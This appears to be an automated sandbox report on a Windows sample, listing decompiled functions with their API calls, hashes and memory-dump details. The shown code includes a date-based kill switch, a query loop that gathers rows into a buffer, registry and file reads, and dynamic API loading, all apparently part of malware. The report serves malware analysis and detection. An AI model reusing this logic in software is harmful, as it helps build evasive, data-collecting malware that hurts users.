Uniqueness Score: -1.00%

Function 004772B0, Relevance: 13.6, APIs: 9, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(0041A6A4,?,0047A971,?,004769FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 004772B9
GetProcAddress.KERNEL32(0041A82C,0041A4D0), ref: 004772DF
GetProcAddress.KERNEL32(0041A82C,0041A0EC), ref: 004772F7
GetProcAddress.KERNEL32(0041A82C,0041A43C), ref: 0047730F
GetProcAddress.KERNEL32(0041A82C,0041A41C), ref: 00477328
GetProcAddress.KERNEL32(0041A82C,0041A454), ref: 00477340
GetProcAddress.KERNEL32(0041A82C,0041A684), ref: 00477358
GetProcAddress.KERNEL32(0041A82C,0041A570), ref: 00477371
GetProcAddress.KERNEL32(0041A82C,0041A6F8), ref: 00477389

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: a8f6d04ad13e02390836e3c7cb39e8b78cfe99c9bcc66d7ae395b866dd0526fc
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 60211EB56272009FC344EBB8ED889B637E9B74C315711C53AE505C3261D6359462CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00431027, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 00431039
_write_multi_char.LIBCMTD ref: 0043164E
_write_string.LIBCMTD ref: 00431669
_write_multi_char.LIBCMTD ref: 00431695
_wctomb_s.LIBCMTD ref: 00431712

Strings

-, xrefs: 004315EE

Memory Dump Source

Source File: 00000015.00000002.837440802.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_42e000_DDEE.jbxd

Similarity

API ID: _write_multi_char$__get_printf_count_output_wctomb_s_write_string
String ID: -
API String ID: 3263840866-2547889144
Opcode ID: 30a96b1c5345c3cf720994e25666a1bf302f1ec3f92ff5595277fcd89b11ad28
Instruction ID: 73da2c2e509300a66dde5faf410b20d5ec29729585eafdca41478e9eff100385
Opcode Fuzzy Hash: 30a96b1c5345c3cf720994e25666a1bf302f1ec3f92ff5595277fcd89b11ad28
Instruction Fuzzy Hash: 45A1BEB0D012289BEB24DF55CC49BEEB7B4AF48305F1491DAE0197A2A1D7789E80CF19

Uniqueness

Uniqueness Score: -1.00%

Function 004068F0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75
timestringCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E004068F0(void* __ecx, void* __eflags) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				char _v284;
				struct _SYSTEMTIME _v300;
				struct _SYSTEMTIME _v316;
				int _t45;
				char* _t52;
				intOrPtr _t57;
				void* _t66;

				E0040B720( &_v284, 0x104);
				_v300.wYear = 0;
				_v300.wMonth = 0;
				_v300.wDay = 0;
				_v300.wMinute = 0;
				_v300.wMilliseconds = 0;
				_v316.wYear = 0;
				_v316.wMonth = 0;
				_v316.wDay = 0;
				_v316.wMinute = 0;
				_v316.wMilliseconds = 0;
				_v20.dwLowDateTime = 0;
				_v20.dwHighDateTime = 0;
				_v12.dwLowDateTime = 0;
				_v12.dwHighDateTime = 0;
				GetSystemTime( &_v300);
				_t57 =  *0x41a60c; // 0x6750e0
				 *0x41aa24( &_v284, _t57);
				_t52 =  *0x41a104; // 0x674dc0
				sscanf( &_v284, _t52,  &(_v316.wDay),  &(_v316.wMonth),  &_v316,  &(_v316.wHour),  &(_v316.wMinute),  &(_v316.wSecond));
				SystemTimeToFileTime( &_v300,  &_v20);
				_t45 = SystemTimeToFileTime( &_v316,  &_v12);
				_t66 = _v20.dwHighDateTime - _v12.dwHighDateTime;
				if(_t66 >= 0 && (_t66 > 0 || _v20.dwLowDateTime > _v12.dwLowDateTime)) {
					ExitProcess(0);
				}
				return _t45;
			}

0x00406905
0x0040690c
0x00406915
0x0040691b
0x00406921
0x00406927
0x00406930
0x00406939
0x0040693f
0x00406945
0x0040694b
0x00406952
0x0040695b
0x0040695e
0x00406967
0x00406971
0x00406977
0x00406985
0x004069b5
0x004069c3
0x004069d7
0x004069e8
0x004069f1
0x004069f4
0x00406a02
0x00406a02
0x00406a0b

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
lstrcat.KERNEL32(?,006750E0), ref: 00406985
sscanf.NTDLL ref: 004069C3
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
ExitProcess.KERNEL32 ref: 00406A02

Strings

Pg, xrefs: 00406977

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: Pg
API String ID: 2797641603-2371632435
Opcode ID: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction ID: e1bd8726115975e68c113ba4c939dbea9fdba7e28f8895f6eace496917ca047b
Opcode Fuzzy Hash: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction Fuzzy Hash: A531AEB5D1121CABCB58DF94DD85ADEB7B9AF48300F0085EAE10AA3150EB345B94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00476B40, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75timestringCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00476BC1
lstrcat.KERNEL32(?,Pg), ref: 00476BD5
sscanf.NTDLL ref: 00476C13
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00476C27
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00476C38
ExitProcess.KERNEL32 ref: 00476C52

Strings

Pg, xrefs: 00476BC7, 00476BCD

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: Pg
API String ID: 2797641603-2371632435
Opcode ID: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction ID: 69d2816a69ab66b139f3ccd9e867b7ba7d24367a8531f55bc44facb6a276c15f
Opcode Fuzzy Hash: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction Fuzzy Hash: 6331EEB2D1121CABCB58DF94DD85ADEB7B9AF48300F00C5EAE149A2150EB345B98CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00476380, Relevance: 12.2, APIs: 5, Strings: 3, Instructions: 150stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004763BC
lstrcpy.KERNEL32(?,00000000), ref: 0047640C
lstrcpy.KERNEL32(?,00000000), ref: 0047643A
lstrcpy.KERNEL32(?,00000000), ref: 00476468
lstrcpy.KERNEL32(?,00000000), ref: 00476496

Strings

(ag, xrefs: 0047644B, 00476450
@ag, xrefs: 00476479, 0047647E
`g, xrefs: 004763AF, 004763B4

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID: (ag$@ag$`g
API String ID: 553454533-3999315160
Opcode ID: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction ID: 41a8e8aa1c3ef9c5ae21df6075d304f4dc14342bb815132ea06e5f6467ceee5f
Opcode Fuzzy Hash: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction Fuzzy Hash: 1A5174F6D00108BBD715EF94DC86FDB7378AB4C304F0486ADB60D92141E6789A94CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004788A0, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004788CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0047891F
RtlAllocateHeap.NTDLL(00000000), ref: 00478926
lstrcat.KERNEL32(?,?), ref: 00478989
lstrcat.KERNEL32(?,00418BC4), ref: 0047899B
lstrcat.KERNEL32(?,?), ref: 004789AF
lstrcat.KERNEL32(?,00418BC0), ref: 004789C1
lstrlen.KERNEL32(?), ref: 004789D3

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction ID: 8d084d537f937d4cac3d99359acf834c7b6500fc840a90f0d1f2fa1441488944
Opcode Fuzzy Hash: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction Fuzzy Hash: DB41A9B1900108ABCB14DBA4DD4AFDA77B8AF0C704F008599F70997151DB35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 004783A0, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004783CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00478425
RtlAllocateHeap.NTDLL(00000000), ref: 0047842C
lstrcat.KERNEL32(?,?), ref: 0047848F
lstrcat.KERNEL32(?,004191EC), ref: 004784A1
lstrcat.KERNEL32(?,?), ref: 004784B5
lstrcat.KERNEL32(?,00418BC4), ref: 004784C7
lstrlen.KERNEL32(?), ref: 004784D9

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction ID: 59641df07b12875574399a9683da21d768d12cae20e1d907b2f14629908765e9
Opcode Fuzzy Hash: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction Fuzzy Hash: 8D41C9B1900108ABCB14EFA4DD4AFDA73B8AF08700F008598F709D3141DA74DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00430E75, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMTD ref: 0043164E
_write_string.LIBCMTD ref: 00431669
_write_multi_char.LIBCMTD ref: 00431695
_wctomb_s.LIBCMTD ref: 00431712

Strings

-, xrefs: 004315EE

Memory Dump Source

Source File: 00000015.00000002.837440802.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_42e000_DDEE.jbxd

Similarity

API ID: _write_multi_char$_wctomb_s_write_string
String ID: -
API String ID: 1811813154-2547889144
Opcode ID: 97a0146b89f10f2f483777c6049fd3cc67c425c9e4df5d2b6d1f969bc73eac44
Instruction ID: 7ab2da5251e0bf36056bca0315b9ba26c073140606231acec2ee5d6edf034a06
Opcode Fuzzy Hash: 97a0146b89f10f2f483777c6049fd3cc67c425c9e4df5d2b6d1f969bc73eac44
Instruction Fuzzy Hash: B8A18CB4D012289FEB24CF54CC59BEEB7B0AF48305F1492DAD4096B291D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0047B2E0, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0047B2F4
RtlAllocateHeap.NTDLL(00000000), ref: 0047B2FB
RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[G), ref: 0047B31B
RegQueryValueExA.ADVAPI32(X[G,0041A4DC,00000000,00000000,?,000000FF), ref: 0047B33C
RegCloseKey.ADVAPI32(X[G), ref: 0047B346

Strings

X[G, xrefs: 0047B304, 0047B342, 0047B338, 0047B307, 0047B33B, 0047B345

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: X[G
API String ID: 3225020163-739899062
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: 46da98402555f685e49ad895683551a6472ee18beb95bdd7d7aa09a69b6168ee
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: A8014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F008568FA05A7291D6745A50CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00409590, Relevance: 9.1, APIs: 6, Instructions: 94
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00409590(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v276;
				intOrPtr _v280;
				char _v284;
				char _v288;
				intOrPtr _v292;
				CHAR* _t27;
				void* _t30;
				void* _t32;
				void* _t38;
				intOrPtr _t44;
				intOrPtr _t58;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t70;

				E0040B720( &_v276, 0x104);
				_t27 =  *0x41a07c; // 0x678898
				wsprintfA( &_v276, _t27, _a12, _a8);
				_t58 =  *0x41a294; // 0x677110
				_v280 = _t58;
				_t30 =  *0x41a830(_a4,  &_v8);
				_t66 = _t64 + 0x18;
				if(_t30 == 0) {
					_t32 =  *0x41a7e8(_v8, _v280, 0xffffffff,  &_v284, 0);
					_t67 = _t66 + 0x14;
					if(_t32 != 0) {
						L6:
						 *0x41a808(_v284);
						return  *0x41a834(_v8);
					}
					_v288 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t38 =  *0x41a804(_v284);
						_t70 = _t67 + 4;
						if(_t38 != 0x64) {
							break;
						}
						_t44 =  *0x41a820(_v284, 0);
						_t67 = _t70 + 8;
						_v292 = _t44;
						 *0x41aa24(_v288, _v292);
						 *0x41aa24(_v288, "\n");
					}
					E004137E0(_a16,  &_v276, _v288,  *0x41a908(_v288));
					_t67 = _t70 + 0x10;
					E0040B720( &_v288, 4);
					goto L6;
				}
				return _t30;
			}

0x004095a5
0x004095b2
0x004095bf
0x004095c8
0x004095ce
0x004095dc
0x004095e2
0x004095e7
0x00409603
0x00409609
0x0040960e
0x004096b9
0x004096c0
0x00000000
0x004096d3
0x00409628
0x0040962e
0x00409635
0x0040963b
0x00409641
0x00000000
0x00000000
0x0040964c
0x00409652
0x00409655
0x00409669
0x0040967b
0x0040967b
0x004096a3
0x004096a8
0x004096b4
0x00000000
0x004096b4
0x004096d9

APIs

wsprintfA.USER32 ref: 004095BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040961B
RtlAllocateHeap.NTDLL(00000000), ref: 00409622
lstrcat.KERNEL32(?,?), ref: 00409669
lstrcat.KERNEL32(?,00418BC4), ref: 0040967B
lstrlen.KERNEL32(?), ref: 0040968A

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 2b13814f49cb6c90ae8408b6036aac7cd0d64baebacf1a6257194b96e648feac
Instruction ID: 0f4305f0ea4e8f12541be8dfce34b0e085d7d14125619b5af487afca8afb3160
Opcode Fuzzy Hash: 2b13814f49cb6c90ae8408b6036aac7cd0d64baebacf1a6257194b96e648feac
Instruction Fuzzy Hash: 263186B1900108ABCB14DFA4DD46FDA73B8AF4C704F0085A9F70997281D635DEA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 004797E0, Relevance: 9.1, APIs: 6, Instructions: 94memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0047980F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0047986B
RtlAllocateHeap.NTDLL(00000000), ref: 00479872
lstrcat.KERNEL32(?,?), ref: 004798B9
lstrcat.KERNEL32(?,00418BC4), ref: 004798CB
lstrlen.KERNEL32(?), ref: 004798DA

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction ID: 8909f169155cb784100cbfb5c0065df2d417924996c76398b26b4e6e067a4af3
Opcode Fuzzy Hash: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction Fuzzy Hash: C23174B1900108ABCB14EFA8DD46FDA73B8AF4C704F0085A9F71997251D635DE61CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00478760, Relevance: 9.1, APIs: 6, Instructions: 92memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0047878F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004787DF
RtlAllocateHeap.NTDLL(00000000), ref: 004787E6
lstrcat.KERNEL32(?,?), ref: 0047882D
lstrcat.KERNEL32(?,00418BC4), ref: 0047883F
lstrlen.KERNEL32(?), ref: 0047884E

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction ID: 8bfec3dfafbc554d5bb29993b64aa0845d9d5fc46c9b2edb4518699b6461c902
Opcode Fuzzy Hash: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction Fuzzy Hash: E23198B1900108ABCB14EFA8DD4AFDA7378AF08704F00C5A8F719D7151DA35DA61CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 004775D0, Relevance: 9.1, APIs: 6, Instructions: 77filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00477900,00000000,?), ref: 004775F7
GetFileSizeEx.KERNEL32(000000FF,00477900,?,00477900,00000000,?), ref: 0047761C
LocalAlloc.KERNEL32(00000040,?,?,00477900), ref: 0047763C
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,00477900), ref: 00477665
LocalFree.KERNEL32(?), ref: 0047769B
CloseHandle.KERNEL32(000000FF,?,00477900,00000000,?), ref: 004776A5

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: f3839e7439254b1b62d77c5ae894b9130a6f11918a8922e16fa8fc686f6e3325
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 9B3107B4A04208EFDB14CF98C884BEEB7B5FB48310F10C559E918AB394C778AA51CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00482340, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00482D2E,?,?), ref: 004823B8
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00482D2E), ref: 0048240A

Strings

.-H, xrefs: 0048246E, 004824C3, 00482471

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: FilePointer
String ID: .-H
API String ID: 973152223-2512331189
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 3f9f9aa81a725871f71e98f37b35deb7b554910f653762e012d23f99c4736aa5
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: EA51D574D002089FDB44DFA8C494BEEBBF5BB48304F10C55AE825AB391D775A846CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00482000, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

new[].LIBCMTD ref: 00482060
memcpy.NTDLL(00000000,?,000000FF,?,00482AED,?,000000FF,?,00004000), ref: 0048208C
memcpy.NTDLL(?,00004000,000000FF,?,00482AED,?,000000FF,?,00004000), ref: 0048211D

Strings

*H, xrefs: 0048206E

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: memcpy$new[]
String ID: *H
API String ID: 3541104900-4082995478
Opcode ID: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction ID: b16eb662c1b6e66afbfb0255d1b1fc4e40b6a1cc2ca7f4b29cf047f721a88ddd
Opcode Fuzzy Hash: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction Fuzzy Hash: AA51FAB4A00209DFCB44DF98C585EAEBBB2BF88314F608559EA05AB345C775E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004312F7, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00431525
__aulldiv.LIBCMT ref: 00431547

Strings

', xrefs: 004312F7
9, xrefs: 00431558
0, xrefs: 00431313

Memory Dump Source

Source File: 00000015.00000002.837440802.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_42e000_DDEE.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: '$0$9
API String ID: 3839614884-269856862
Opcode ID: 3171d9aa9ffecd0609497d0d36111fa0fc6070f20094657f9b5f5fffc0e4ae2d
Instruction ID: d7c95f60d57b3e64a33816c8b9c31d8734eb191bd15abab5e689afc23e078bb8
Opcode Fuzzy Hash: 3171d9aa9ffecd0609497d0d36111fa0fc6070f20094657f9b5f5fffc0e4ae2d
Instruction Fuzzy Hash: 0041F271D06229DFEB24CF48C889BAEB7B5BB58304F2091DAD409A7250C7389E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACE0() {
				struct _SYSTEMTIME _v20;
				void* _v24;

				_v24 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v20);
				wsprintfA(_v24, "%d/%d/%d %d:%d:%d", _v20.wDay & 0x0000ffff, _v20.wMonth & 0x0000ffff, _v20.wYear & 0x0000ffff, _v20.wHour & 0x0000ffff, _v20.wMinute & 0x0000ffff, _v20.wSecond & 0x0000ffff);
				return _v24;
			}

0x0040acfa
0x0040ad01
0x0040ad2e
0x0040ad3d

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
wsprintfA.USER32 ref: 0040AD2E

Strings

%d/%d/%d %d:%d:%d, xrefs: 0040AD25

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: %d/%d/%d %d:%d:%d
API String ID: 377395780-1073349071
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00404970, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404970(void* __ecx, void* __eflags, char* _a4) {
				intOrPtr _v56;
				char* _v60;
				char _v64;
				char _v132;

				E0040B720( &_v132, 0x40);
				E0040B720( &_v64, 0x3c);
				_v64 = 0x3c;
				_v60 =  &_v132;
				_v56 = 0x40;
				_push( &_v64);
				if(InternetCrackUrlA(_a4,  *0x41a908(), _a4, 0x10000000) == 0) {
					return 0x418b7c;
				}
				return _v60;
			}

0x0040497f
0x0040498a
0x0040498f
0x00404999
0x0040499c
0x004049a6
0x004049c3
0x00000000
0x004049cc
0x00000000

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 004049B0
InternetCrackUrlA.WININET(?,00000000), ref: 004049BB

Strings

@, xrefs: 0040499C
http, xrefs: 004049CC
<, xrefs: 0040498F

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction ID: e6804194f0461931acba1e2b3008128b19c1605eb91d96f529587f083f9a09b0
Opcode Fuzzy Hash: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction Fuzzy Hash: 84F012F590020CABDB04DFA5E885FEE7B7CEB44344F008529FA04AB190DB78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 0047AF30, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00475A0A), ref: 0047AF3D
RtlAllocateHeap.NTDLL(00000000), ref: 0047AF44
GetLocalTime.KERNEL32(?,?,?,?,?,00475A0A), ref: 0047AF51
wsprintfA.USER32 ref: 0047AF7E

Strings

ZG, xrefs: 0047AF57, 0047AF5B

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: ZG
API String ID: 377395780-1513766185
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00474BC0, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33stringnetworkCOMMON

